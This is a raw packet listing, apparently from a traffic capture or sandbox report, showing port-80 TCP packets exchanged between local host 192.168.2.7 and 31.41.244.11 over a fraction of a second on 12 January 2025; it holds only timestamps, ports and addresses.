Jan 12, 2025 17:39:12.094850063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.094856977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.094857931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.094886065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.094919920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.094957113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.094964027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.094964027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.094964027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.094990969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095026970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095076084 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095076084 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095076084 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095218897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095283985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095354080 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095370054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095405102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095460892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095495939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095515966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095515966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095515966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095529079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095545053 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095586061 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095587969 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095619917 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095653057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095685959 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095707893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095707893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095707893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095741034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095774889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095822096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095822096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095822096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095828056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095861912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095910072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095910072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.095912933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095947981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.095999956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096015930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096015930 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096049070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096065998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096082926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096117020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096154928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096163988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096163988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096163988 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096184969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096218109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096252918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096265078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096265078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096265078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096285105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096318007 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096339941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096339941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096350908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096378088 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096383095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096405983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096415997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096451044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096483946 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096498966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096498966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096498966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096518993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096549988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096565008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096565008 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096582890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096616983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096648932 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096661091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096661091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096661091 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096682072 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096718073 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096751928 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096765041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096765041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096765041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096785069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096817970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096849918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096860886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096860886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096860886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096884966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096913099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096923113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096956968 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.096987963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096987963 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.096990108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.097003937 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.097076893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124047995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124099016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124159098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124195099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124228954 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124252081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124252081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124263048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124300003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124305010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124334097 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124367952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124383926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124383926 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124402046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124434948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124469042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124479055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124479055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124479055 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124501944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124536037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124541044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124541044 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124569893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124604940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124624014 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124624014 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124639034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124680996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124680996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124696016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124727011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124761105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124783993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124783993 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124813080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124846935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124891043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124891043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124891043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.124898911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124932051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124965906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.124994993 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125008106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125008106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125008106 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125027895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125042915 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125061989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125094891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125127077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125127077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125130892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125142097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125163078 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125180960 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125197887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125231028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125263929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125273943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125273943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125273943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125297070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125329971 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125333071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125333071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125365019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125365973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125399113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125430107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125447989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125447989 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125463963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125499010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.125544071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125544071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.125544071 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.126562119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.126614094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.126626015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.126650095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.126701117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.126737118 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.126739979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.126739979 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.126740932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.126770973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.126813889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.126813889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.126823902 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.126858950 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.126892090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.126915932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.126915932 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.126924992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.126951933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.126959085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.126993895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.127027988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.127037048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.127037048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.127037048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.127065897 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.127075911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.127099991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.127132893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.127171040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.127182007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.127182007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.127182007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.127204895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.127243042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.127286911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.127286911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.127286911 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.127291918 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.127334118 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.180792093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.180865049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.180902004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.180936098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.180960894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.180960894 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.180970907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181008101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181019068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181019068 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181041956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181058884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181081057 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181116104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181149006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181160927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181160927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181160927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181183100 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181216955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181251049 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181260109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181260109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181260109 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181284904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181308985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181308985 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181324005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181356907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181412935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181466103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181469917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181469917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181469917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181518078 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181523085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181580067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181583881 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181618929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181636095 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181649923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181655884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181668997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181675911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181689978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181703091 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181715965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181734085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181740046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181756020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181763887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181771994 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181797028 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181813955 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181822062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181822062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181822062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181833029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181850910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181858063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181874990 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181890965 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181900978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181900978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181900978 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181907892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181921959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181924105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181942940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181958914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181958914 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181962967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181987047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.181987047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.181987047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182013988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182037115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182039976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182039976 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182054043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182069063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182085037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182092905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182092905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182092905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182099104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182125092 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182142019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182143927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182143927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182143927 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182157040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182173967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182188988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182199001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182199001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182199001 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182205915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182223082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182240963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182248116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182248116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182248116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182255030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182270050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182285070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182285070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182286978 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182298899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182301044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182317019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:12.182323933 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182324886 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:12.182332039 CET	80	49975	31.41.244.11	192.168.2.7
